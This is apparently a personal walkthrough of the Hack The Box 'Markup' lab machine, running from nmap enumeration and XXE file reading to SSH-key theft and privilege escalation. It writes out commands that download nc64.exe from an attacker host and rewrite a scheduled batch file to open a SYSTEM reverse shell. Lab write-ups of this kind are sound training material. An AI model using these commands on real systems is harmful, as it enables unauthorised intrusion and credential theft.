HTB - Markup

OS: Windows
Difficulty: Very Easy

After the nmap enumeration:

Nmap scan report for 10.129.129.117
Host is up (0.26s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9f:a0:f7:8c:c6:e2:a4:bd:71:87:68:82:3e:5d:b7:9f (RSA)
|   256 90:7d:96:a9:6e:9e:4d:40:94:e7:bb:55:eb:b3:0b:97 (ECDSA)
|_  256 f9:10:eb:76:d4:6d:4f:3e:17:f3:93:d6:0b:8c:4b:81 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
|_http-title: MegaShopping
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
443/tcp open  ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-title: MegaShopping

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.66 seconds

We know that:

1. Port 22 (SSH) is opened so we could probably ssh into target machine later
2. Port 80 (HTTP) suggests that target machine hosts a web server that we could go look into

Upon visiting the website, we are greeted with Login Page

After trying several default credentials, we would be able to login using admin:password

After logging in and interacting with the websites, we realise that only the user inputs in orders page is handled by server as we could see from the POST request caught in the Burp Suite

Here I got to learn about XXE (XML External Entity) which is a vulnerability that occurs when an application processes XML input and allows the XML parser to resolve external entities controlled by the attacker

If we google XXE attack and refer to the official PortSwigger page, it shows how we can exploit as shown in the image below

First, we need to verify whether the application is vulnerable to XXE and whether we can successfully exploit it. A common XXE proof of concept uses /etc/passwd to read a local file on Linux systems. However, since our target machine is running Windows, /etc/passwd does not exist. Instead, we can target C:\Windows\win.ini, a standard configuration file that is commonly present on Windows systems.

By attempting to read this file through the XXE payload, we can determine whether the XML parser is resolving external entities and allowing us to access local files. As shown in the image below, the contents of win.ini are returned in the server’s response, confirming that the application is vulnerable to XXE-based local file disclosure.

Furthermore, after we inspect the HTML code of the Orders page, we also identify that user called Daniel exists in the target machine

So we know:

1. User called Daniel exists
2. Port 22 is opened
3. We can try to access a file in the server via XXE payload

The next attack chain we could explore is looking for a password or private key belonging to Daniel that could allow us to authenticate to the target machine via SSH as Daniel.

At this point, I had to rely on ChatGPT because I wasn’t familiar with the common directory where SSH private keys are typically stored on Windows. I learned that OpenSSH commonly stores user SSH keys under the .ssh directory and commonly name the private key file as id_rsa, so I tried the following path: C:\Users\daniel\.ssh\id_rsa and it worked

Save the private key into a file in kali machine and ssh into the target host as user daniel via `ssh -i {private key file} daniel@{ip address}

Navigate to the daniel's Desktop to find the user flag

Privilege Escalation

HTB provides us with a useful clue by directing us to the Log-Management directory, which contains a file called job.bat.

When we attempt to run the batch file, it displays an error indicating that the script requires Administrator privileges to execute successfully.

When we inspect the contents of job.bat, we can see that it executes another program called wevtutil.exe, a built-in Windows utility used to manage Windows Event Logs. In this case, the script uses it to enumerate and clear the Event Logs.

When we use the PowerShell command ps, we can see that the wevtutil.exe process is running even though we were unable to execute job.bat ourselves due to insufficient privileges. This suggests that job.bat may be scheduled to be executed automatically with SYSTEM-level privileges

Hence, one possible attack chain is to rewrite the contents of job.bat so that it executes nc64.exe and establishes a connection back to our Kali machine’s listening server. If job.bat is indeed being executed with SYSTEM-level privileges, the resulting Windows command shell would inherit those same privileges, potentially giving us a SYSTEM-level shell.

We first check whether the daniel user has permission to modify job.bat by using the icacls command: icacls job.bat

We can see that members of BUILTIN\Users have Full Control over this file. We can therefore check whether the daniel user is a member of this group by using: whoami /groups

We can see that Daniel is indeed a member of BUILTIN\Users

Now on Kali machine, we can start a simple HTTP server on the directory that contains nc64.exe -> python -m http.server 80

Next, start a Netcat listener on the Kali machine using the port of your choice (in my case, port 8000)

Retrieve nc64.exe file on the target machine by using powershell command -> wget http://{kali machine ip}/nc64.exe -outfile {name of file you want to assign}

We can now overwrite the content of job.bat with the following command:
Set-Content -Path C:\Log-Management\job.bat -Value 'C:\Log-Management\nc64.exe -e cmd.exe {kali machine ip} {port of your listening server that you assigned}'

Confirm that the content has been overwritten:
Get-Content C:\Log-Management\job.bat

We then wait for job.bat to be executed and for it to establish a connection back to our Kali listener. Then navigate to the administrator Desktop to find the root flag